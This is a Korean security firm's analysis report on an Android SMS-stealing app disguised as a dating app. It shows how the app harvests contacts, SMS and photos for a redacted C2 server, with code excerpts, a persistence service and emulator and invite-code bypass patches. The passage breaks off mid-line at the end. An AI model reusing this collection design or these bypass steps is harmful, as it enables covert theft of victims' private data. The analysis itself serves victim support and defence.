분석일: 2026-02-12 ~ 2026-02-13
분석자: 주식회사 아크링크 ([비공개] .ai, deep-scan.ai)
분석 목적: 피싱/스미싱 [피해자 정보 비공개] 위한 악성앱 분석
보고서 버전: v3.0 (ML Gold Standard 심층 재분석)
분석 등급: ML Gold Standard (전수 분석)
총 분석 Phase: 16
항목 · 내용
**파일명** · Flirting_138.apk
**표시 이름** · Flirting
**패키지명** · com.snjcjs.snnqq.appqouwyc
**내부 패키지** · com.xyx.sms
**앱 패밀리** · Wavegrid 3세대 (SMS)
**Compile SDK** · 32 (Android 12)
**프레임워크** · Java + OkHttp3 + Fastjson + Gson + Huawei ScanKit + Huawei ML Kit
**위장 유형** · 데이팅/플러팅 앱
**위험 등급** · **EXTREME**
```
com.snjcjs.snnqq.appqouwyc ← 외부 패키지 (위장용, 랜덤 문자열)
└── com.xyx.sms ← 내부 패키지 (실제 악성 코드)
├── LoginActivity ← 초대코드 입력 + 검증 (역전 로직)
├── MainActivity ← 메인 화면 (위장 UI)
├── ContactActivity ← 연락처 데이터 수집
├── AlbumActivity ← 앨범/이미지 수집
├── UploadActivity ← 핵심: 데이터 탈취 오케스트레이터
├── BaseApp ← Application 초기화
├── adapter/ ← UI 어댑터 3종
│ ├── AlbumAdapter ← 앨범 목록 표시
│ ├── MainAdapter ← 메인 리스트 표시
│ └── SmsAdapter ← SMS 목록 표시
├── bean/ ← 데이터 모델 4종
│ ├── ContactBean ← {name, number}
│ ├── SmsBean ← {content, date, displayName, path, type}
│ ├── NewsBean ← 위장 뉴스 데이터
│ └── WeatherBean ← 위장 날씨 데이터
├── servise/ ← 백그라운드 서비스 (오타: "servise")
│ └── UploadService ← 5초 주기 SMS 재수집 서비스
├── utils/ ← 유틸리티 6종
│ ├── Constant ← API 경로 상수 4개
│ ├── DialogUtil ← 로딩 다이얼로그
│ ├── GlideEngine ← 이미지 로딩
│ ├── HttpUtils ← HTTP 통신 (C2 URL 하드코딩)
│ ├── ReadContactUtils ← 데이터 수집 메서드 7개
│ └── SPUtils ← SharedPreferences 래퍼
└── view/
└── GeneralDialog ← 커스텀 다이얼로그
```
항목 · 수량
**총 smali 파일** · 7,484
**smali/ (1차)** · 6,691
**smali_classes2/ (2차)** · 793
**핵심 클래스 (com.xyx.sms)** · 76
**Activity** · 5개
**Service** · 1개
**Provider** · 3개
**데이터 모델** · 4개
**유틸리티 클래스** · 6개
**어댑터** · 3개
패키지 · 라이브러리 · 용도 · 악용 가능성
com/alibaba · FastJSON · JSON 직렬화/역직렬화 · 데이터 전송 포맷
com/blankj · AndroidUtilCode · 유틸리티 (에뮬레이터 탐지) · **에뮬레이터 탐지**
com/bumptech · Glide · 이미지 로딩 캐시 · 위장 UI 이미지
com/google · Gson · JSON 파싱 · 서버 응답 파싱
com/huawei · ScanKit [비공개] · QR 코드 스캔 · **미사용** (라이브러리만 포함, 호출 코드 없음)
com/huawei · ML Kit [비공개] · 컴퓨터 비전 · **미사용** (빌드 템플릿 잔재)
com/luck · PictureSelector · 이미지/동영상 선택 · 미디어 탈취
com/xyz · (별도 패키지) · 불명 (난독화) · 분석 필요
top/zibin · Luban · 이미지 압축 · **탈취 전 이미지 압축**
okhttp3 · OkHttp3 · HTTP 클라이언트 · C2 통신
kotlin · Kotlin stdlib · Kotlin 런타임 · -
# · 권한 · 위험도 · 악용 목적
1 · `READ_CONTACTS` · **Critical** · 연락처 전체 탈취
2 · `READ_PHONE_STATE` · **High** · 기기 정보 수집
3 · `READ_EXTERNAL_STORAGE` · **High** · 사진/파일 탈취
4 · `INTERNET` · Normal · C2 서버 통신
5 · `ACCESS_NETWORK_STATE` · Normal · 네트워크 상태 확인
LoginActivity.requestPermission() (line 129-144):
```
android.permission.READ_SMS ← AndroidManifest에 없음!
android.permission.READ_PHONE_NUMBERS ← AndroidManifest에 없음!
android.permission.READ_PHONE_STATE
android.permission.READ_CONTACTS
```
UploadActivity.requestAllPermission() (line 151-155):
```
android.permission.READ_PHONE_STATE
android.permission.READ_CONTACTS
android.permission.READ_EXTERNAL_STORAGE
```
UploadActivity.requestPermission(String): 개별 권한 요청 (contactP=0x66, smsP=0x65, albumP=0x6A)
실제 요청 권한 7개 (Manifest 5개 + 런타임 추가 2개):
권한 · Manifest · 런타임 · 목적
READ_CONTACTS · O · O · 연락처 전수 탈취
READ_PHONE_STATE · O · O · IMEI/전화번호
READ_EXTERNAL_STORAGE · O · O · 사진/미디어 탈취
INTERNET · O · - · C2 서버 통신
ACCESS_NETWORK_STATE · O · - · 네트워크 확인
**READ_SMS** · **X** · O · **SMS 전수 탈취**
**READ_PHONE_NUMBERS** · **X** · O · **전화번호 수집**
특이사항: READ_SMS와 READ_PHONE_NUMBERS가 AndroidManifest에 없지만 런타임으로 요청. compileSdkVersion 32에서는 런타임 요청만으로도 동작 가능 (targetSdkVersion에 의존).
Flirting_138은 Wavegrid 3세대 중 [비공개] 클러스터 변종:
세대 · 대표 앱 · 내부 패키지 · 특징
Gen1 · ML, Chinso · com.tushiweih.wavegrid / com.cryonix.wavegrid · RuoYi C2, 기본 구조
Gen1.5 · QF (EchoVerse) · com.cryonix.wavegrid · Kotlin + DataStore 사용
Gen3 · **Flirting_138**, ze, zine, nyang · **com.xyx.sms** · SMS 수집, 명시적 Activity
컴포넌트 · 난독화 수준 · 설명
Activity 이름 · **없음** · LoginActivity, ContactActivity 등 의미 명확
메서드 이름 · **없음** · getContact, uploadAllData 등
필드 이름 · **없음** · phoneNumber, contactList, smslist
문자열 · **없음** · C2 URL, API 경로 평문
패키지 · **부분** · 외부 패키지만 랜덤 (com.snjcjs.snnqq.appqouwyc)
ProGuard · **미적용** · .source 디렉티브 유지 ("LoginActivity.java" 등)
**총합** · **LOW** (2/10) · 거의 난독화하지 않음
```
사용자 → [초대코드 입력] → btn_save 클릭
└→ LoginActivity$1.onClick()
├── 빈값 체크 → Toast "초대 코드를 입력하십시오."
├── UUID 생성 (최초 1회)
├── HashMap 생성: {name: inviteCode, cId: uuid}
└→ Thread → LoginActivity$1$1.run()
└→ HttpUtils.postGson("webapp/login", map, callback)
└→ LoginActivity$1$1$1.onSuccess(code, body)
└→ runOnUiThread → LoginActivity$1$1$1$1.run()
├── code != 200 → ✅ 성공 처리
│ ├── SPUtils.put("UUID", uuid)
│ ├── SPUtils.put("invite_code", code)
│ ├── Toast "success"
│ └── startMain() → UploadActivity (데이터 탈취 시작!)
└── code == 200 → ❌ 실패 처리
├── JSON "msg" 파싱
└── Toast 에러 메시지 표시
```
```smali
iget v0, p0, ...->val$code:I # v0 = JSON response "code" 값
const/16 v1, 0xc8 # v1 = 200
if-eq v0, v1, :cond_0 # code == 200이면 :cond_0(실패)로 점프
```
RuoYi 표준: code=200 = 성공, code=500 = 실패
Wavegrid 역전: code=200 → 에러 메시지 표시, code≠200 → "success" + 데이터 탈취 진행
```smali
if-eq v0, v1, :cond_0
if-ne v0, v1, :cond_0
```
LoginActivity.onCreate():
· SPUtils에서 is_first 읽기 → true면 startMain() 직접 호출 (초대코드 건너뜀)
· 즉, 한번 로그인 성공하면 이후 초대코드 입력 없이 바로 데이터 탈취
LoginActivity.login() — GET 요청으로 webapp/login 호출 후 WeatherBean으로 파싱. 이 메서드는 초대코드 방식과 별개로, 날씨 API 위장 엔드포인트로의 연결 시도를 보여줌. 홈화면 데이터를 가져오는 데 사용.
UploadActivity는 데이터 탈취의 중앙 통제자:
```
UploadActivity.onCreate()
├── invite_code 복원 (SPUtils)
├── is_upload 상태 확인 (중복 업로드 방지)
├── 4개 버튼 초기화:
│ ├── btn_sync → sysncPermission() → uploadAllData()
│ ├── btn_sms → READ_SMS 권한 → getSmsDataUpload()
│ ├── btn_contact → READ_CONTACTS 권한 → getContactDataUpload()
│ └── btn_album → READ_EXTERNAL_STORAGE 권한 → getAlbumDataUpload()
│
└── uploadAllData()
├── TelephonyManager → phoneNumber 수집
├── getContactDataUpload() ← 연락처 업로드
└── getAlbumDataUpload() ← 이미지 업로드
```
UploadActivity는 한글 다이얼로그로 권한을 재요청:
코드(requestCode) · 권한 · 다이얼로그 텍스트
0x64 (100) · 전체 · "문자 메시지、연락처、연락처、파일"
0x65 (101) · READ_SMS · "문자 메시지"
0x66 (102) · READ_CONTACTS · "연락처"
0x6A (106) · READ_EXTERNAL_STORAGE · "파일"
```
UploadService.onCreate()
├── context = getApplicationContext()
├── TelephonyManager.getLine1Number() → phoneNumber (전화번호 자동 수집!)
└── countDown() → 5초 타이머 시작
UploadService.onStartCommand()
└── return START_STICKY (=1) ← 시스템 kill 후 자동 재시작!
UploadService.countDown()
└── new CountDownTimer(5000ms, 1000ms) ← 5초 간격, 1초 틱
└── onFinish() → getSmsDataUpload() → countDown() (무한 루프!)
```
onStartCommand()가 START_STICKY (1)을 반환:
· 시스템이 메모리 부족으로 서비스를 kill해도 자동 재시작
· 사용자가 앱을 강제 종료해도 서비스가 다시 살아남
· 5초마다 SMS를 재수집하여 새 SMS도 실시간으로 탈취
```json
{
> [비공개]
"bjPhone": "피해자_전화번호",
"content": "[{\"content\":\"SMS내용\",\"displayName\":\"발신자\",\"date\":\"timestamp\",\"type\":\"1\"}]"
}
```
→ POST webapp/saveSms (Constant.sms_url)
# · 메서드 · 반환 타입 · 데이터 소스 · 호출 위치 · 상태
1 · `getContact()` · List\<SmsBean\> · ContactsContract.Phone.CONTENT_URI · UploadActivity.getContactDataUpload() · **활성**
2 · `getContacts()` · List\<ContactBean\> · ContactsContract.Contacts.CONTENT_URI · 없음 · **미사용**
3 · `getContactss()` · List\<ContactBean\> · content://com.android.contacts/data/phones · 없음 · **미사용**
4 · `getImg()` · List\<SmsBean\> · MediaStore.Images.EXTERNAL_CONTENT_URI · 없음 · **미사용**
5 · `getAlbum()` · List\<SmsBean\> · MediaStore.Images.EXTERNAL_CONTENT_URI · UploadActivity.getAlbumDataUpload() · **활성**
6 · `getMsgs()` · List\<SmsBean\> · content://sms/ · UploadActivity, UploadService, MainActivity · **활성**
7 · `getOperatorName()` · String · TelephonyManager · UploadActivity.getContactDataUpload() · **활성**
활성 4개 / 미사용 4개 — 7개 메서드 중 절반이 죽은 코드.
부가 메서드:
· compressImage(): JPEG 100KB 이하로 압축 (10% 단위 품질 감소) — 미사용
· saveFile(): 외부 캐시 /Ask 디렉토리에 저장 (JPEG 품질 80%) — 미사용, 디렉토리명 /Ask/는 다른 프로젝트에서 복사한 코드 잔재
getContact()는 연락처 데이터를 SmsBean에 저장:
· display_name → SmsBean.displayName
· 전화번호 → SmsBean.content
전용 ContactBean이 존재함에도 SmsBean을 재사용. 초기 개발 시 SMS 데이터 모델로 시작하여 연락처까지 확장한 흔적.
```java
Calendar calendar = Calendar.getInstance();
calendar.add(Calendar.DAY_OF_WEEK, -1); // 1일 전 계산
// ... 하지만 이 값을 query의 selection 조건에 전달하지 않음!
Cursor cursor = contentResolver.query(Uri.parse("content://sms/"), null, null, null, null);
```
날짜 계산은 수행하지만 쿼리에 조건으로 넣지 않아 전체 SMS를 수집.
```
ReadContactUtils.getContact() → contactList
↓
HashMap 생성:
"userName" → invite_code (SPUtils)
"model" → "android"
"bjPhone" → phoneNumber (TelephonyManager)
"operatorName" → getOperatorName() (통신사명)
"phoneContent" → JSONObject.toJSONString(contactList) ← 연락처 전체!
↓
Thread → HttpUtils.postGson("webapp/saveAddressBook", map, callback)
```
```
ReadContactUtils.getMsgs() → smslist
↓
HashMap 생성:
"userName" → invite_code
"bjPhone" → phoneNumber
"content" → JSONObject.toJSONString(smslist) ← SMS 전체!
↓
Thread → HttpUtils.postGson("webapp/saveSms", map, callback)
```
```
ReadContactUtils.getAlbum() → albumList
↓
for each SmsBean:
Luban.with(context)
.load(smsBean.path) ← 원본 이미지 경로
.setCompressListener(...)
.launch() ← Luban 압축 후
↓
HttpUtils.postFile(activity, "webapp/image/" + code, compressedFile, callback)
```
```
[T+0s] 앱 설치 + 실행
[T+5s] 초대코드 입력 → 서버 검증 (역전 로직)
[T+10s] UploadActivity 진입 → 권한 요청 다이얼로그
[T+15s] 권한 허용 시 즉시:
├── 연락처 전수 수집 → POST /webapp/saveAddressBook
├── 이미지 수집 + Luban 압축 → POST /webapp/image/{code}
└── UploadService 시작
[T+20s] UploadService: 5초마다 SMS 수집 → POST /webapp/saveSms
[T+∞] START_STICKY로 영구 실행 → 새 SMS 실시간 탈취
```
항목 · 내용
**도메인** · [비공개]
**Base URL** · `[비공개]
**프로토콜** · **HTTP (평문 통신!)**
**프레임워크** · RuoYi (Spring Boot)
**C2 위치** · HttpUtils.smali:7 (static field)
# · 메서드 · 엔드포인트 · 용도 · 요청 본문
1 · POST · `[비공개] · 초대코드 검증 · `{name, cId}`
2 · POST · `[비공개] · 연락처 업로드 · `{userName, model, bjPhone, operatorName, phoneContent}`
3 · POST · `[비공개] · SMS 업로드 · `{userName, bjPhone, content}`
4 · POST · `[비공개] · 이미지 업로드 · multipart/form-data `{file, path, success_action_status}`
기존 보고서 대비 발견: webapp/saveSms 엔드포인트가 기존 보고서에서 누락되어 있었음.
```json
POST [비공개]
Content-Type: application/json; charset=utf-8
{"name": "초대코드", "cId": "UUID"}
```
```json
// 서버 측 "실패" → 클라이언트 "성공" (code ≠ 200)
{"code": 500, "msg": "..."}
// 서버 측 "성공" → 클라이언트 "실패" (code = 200)
{"code": 200, "msg": "유효하지 않은 초대코드"}
```
```json
POST [비공개]
Content-Type: application/json; charset=utf-8
{
> [비공개]
"model": "android",
"bjPhone": "010-XXXX-XXXX",
"operatorName": "SKT",
"phoneContent": "[{\"name\":\"홍길동\",\"number\":\"010-**-**\"}, ...]"
}
```
```http
POST [비공개]
Content-Type: multipart/form-data
file: [compressed_image.jpg]
other_field: value
```
network_security_config.xml에서 cleartext 트래픽 허용:
· 모든 데이터가 암호화 없이 평문으로 전송
· 공격자뿐 아니라 ISP, 공유 WiFi 사용자도 탈취 데이터 감청 가능
· 이중 피해 위험: [피해자 정보 비공개] 공격자 외 제3자에게도 노출
메서드 · 용도 · 실행 방식 · 특징
`postFile()` · 파일 업로드 · **비동기** (enqueue) · OkHttp Callback
`postGson()` · JSON 전송 · **동기** (execute) · 별도 Thread에서 호출
`postJSONObject()` · JSON 전송 (테스트용) · **동기** (execute) · 하드코딩 테스트 데이터
postJSONObject 특이사항: "西红柿炒鸡蛋" (토마토 달걀볶음) 하드코딩 — 개발자 테스트 코드가 제거되지 않음 → 개발 수준 낮음.
항목 · 상세
**구현 위치** · LoginActivity$1$1$1$1.smali:53-57
**검증 방식** · 서버 측 (webapp/login POST)
**역전 로직** · `if-eq` (code==200 → 실패)
**우회 방법** · `if-eq` → `if-ne` 패치
**우회 상태** · **완료** (Result/ 폴더)
항목 · 상세
**구현 위치** · com/blankj/utilcode/util/DeviceUtils.smali
**탐지 방식** · BlankJ DeviceUtils.isEmulator()
**호출 위치** · com.xyx.sms 패키지에서는 미호출 (라이브러리만 포함)
**우회 방법** · `isEmulator()` → `return false` 삽입
**우회 상태** · **완료**
특이사항: BlankJ 라이브러리가 포함되어 있으나, com.xyx.sms 패키지 내에서 isEmulator를 직접 호출하는 코드가 발견되지 않음. 다른 경로에서 호출될 가능성 있음.
항목 · 상세
**구현** · Huawei ScanKit [비공개] (AndroidManifest에 등록)
**용도** · 초대코드를 QR 형태로 전달 (의도)
**Activity** · com.huawei.hms.hmsscankit.ScanKitActivity
**실제 사용** · **미사용** — com.xyx.sms 패키지에서 ScanKit API 호출 코드 0건
결론: ScanKit은 빌드 템플릿에 포함된 라이브러리이며, 이 변종에서는 구현되지 않음. 초대코드는 순수 EditText(et_code) 수동 입력 방식.
파일명: share_data
키 · 타입 · 용도
`is_first` · Boolean · 최초 실행 여부 (true면 초대코드 건너뜀)
`is_upload` · Boolean · 업로드 완료 여부 (btn_sync 비활성화)
`UUID` · String · 기기 식별 UUID
`invite_code` · String · 입력한 초대코드
`nick` · String · 닉네임 (미사용)
```java
public class BaseApp extends Application {
@Override
public void onCreate() {
super.onCreate();
registerActivityLifecycleCallbacks(new ActivityLifecycleCallbacks() {
private int activityNumber = 0; // 선언만, 사용 안 함
@Override
public void onActivityStopped(Activity activity) {
Log.e("tag", "ActivityLifecycleCallbacksAdapter:前台 --> 后台");
Intent intent = new Intent(getApplicationContext(), UploadService.class);
if (Build.VERSION.SDK_INT < 26) { // Android 8.0 미만만!
getApplicationContext().startService(intent);
}
}
});
}
}
```
핵심 발견: if (SDK_INT < 26) 조건으로 인해 Android 8.0 이상 기기에서 백그라운드 서비스 재시작이 작동하지 않음.
Android 버전 · 서비스 동작 · 영향
7.1 이하 · `startService()` 정상 호출 → UploadService 재시작 · SMS 5초 재수집 지속
8.0 이상 · 조건 불충족 → 서비스 미시작 · **최초 1회 수집만 가능**
startForegroundService() 호출이 누락되어 있으며, activityNumber 필드도 선언만 되고 증감 코드가 없음 — 미완성 코드.
BaseApp에 중국어 로그가 하드코딩:
· 后台 --> 前台 (백그라운드→포그라운드)
· 前台 --> 后台 (포그라운드→백그라운드)
→ 개발자의 1차 언어가 중국어임을 확증.
파일 · 위치
Flirting_138_signed_new.apk · Result/
# · 유형 · 위치 · 상세
1 · **servise** (오타) · `com.xyx.sms.servise` · 패키지명, Manifest 모두 오타 고정
2 · **dissmiss** (오타) · `DialogUtil.smali` · 메서드명 `dissmiss()`, ss 이중
3 · **sysncPermission** (오타) · `UploadActivity.smali` · sync→sysnc 오타
4 · **xyx vs xyz** 혼용 · 패키지 구조 · 실제 코드 `com.xyx.sms`, R 클래스 `[비공개].sms`
5 · **SmsBean 남용** · ReadContactUtils · 연락처를 SmsBean에 저장 (ContactBean 존재)
6 · **연락처 3중 구현** · ReadContactUtils · getContact, getContacts, getContactss 중 1개만 사용
7 · **날짜 필터 미작동** · getMsgs() · Calendar 계산 후 query에 미적용
8 · **Kotlin template 리터럴** · getMsgs() · `"address:${address}"` 치환 안 됨
9 · **테스트 코드 미삭제** · postJSONObject() · "西红柿炒鸡蛋" 전체 메서드 잔류
10 · **빈 URL** · LoginActivity · `url("")` 빈 문자열로 이미지 업로드 시도
11 · **success111 디버그** · LoginActivity$3 · `Log.e("success111", ...)` 디버그 태그
12 · **/Ask/ 디렉토리** · saveFile() · 다른 프로젝트에서 복사한 코드
13 · **activityNumber 미사용** · BaseApp$1 · 선언만 하고 증감 없음
14 · **Android 8.0+ 미처리** · BaseApp$1 · `startForegroundService()` 누락
15 · **phoneNumber 빈 문자열** · UploadActivity · TelephonyManager 후 `phoneNumber = ""` 대입
16 · **동기 네트워크** · postJSONObject() · `execute()` 동기 호출 — ANR 위험
항목 · 추정
**1차 언어** · 중국어 (后台/前台 로그, 西红柿炒鸡蛋 테스트, 返回= 로그)
**기술 수준** · 초급~중급 (16개 코딩 실수, 미완성 코드 다수)
**개발 방식** · 기존 템플릿 복사 + 수정 (ScanKit 미사용, /Ask/ 잔재, xyx/xyz 혼용)
**보안 의식** · 매우 낮음 (난독화 2/10, HTTP 평문, 테스트 코드 미삭제)
**개발 환경** · Android Studio + Java (Kotlin 미사용, kotlin stdlib는 의존성으로만)
**코드 리뷰** · 없음 (servise, dissmiss 등 명백한 오타 미수정)
증거 · 출처 추정
`/Ask/` 디렉토리 · "Ask" 프로젝트에서 saveFile() 복사
ScanKit 라이브러리 (미사용) · QR 기능이 있는 다른 변종에서 템플릿 복사
`[비공개].sms` R 클래스 · 원래 패키지명이 `[비공개].sms`였다가 `xyx`로 변경 시 R 누락
Kotlin template 문법 · Kotlin 프로젝트에서 getMsgs() 로그 코드 복사
```
ze (원형) Flirting_138 (업
본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr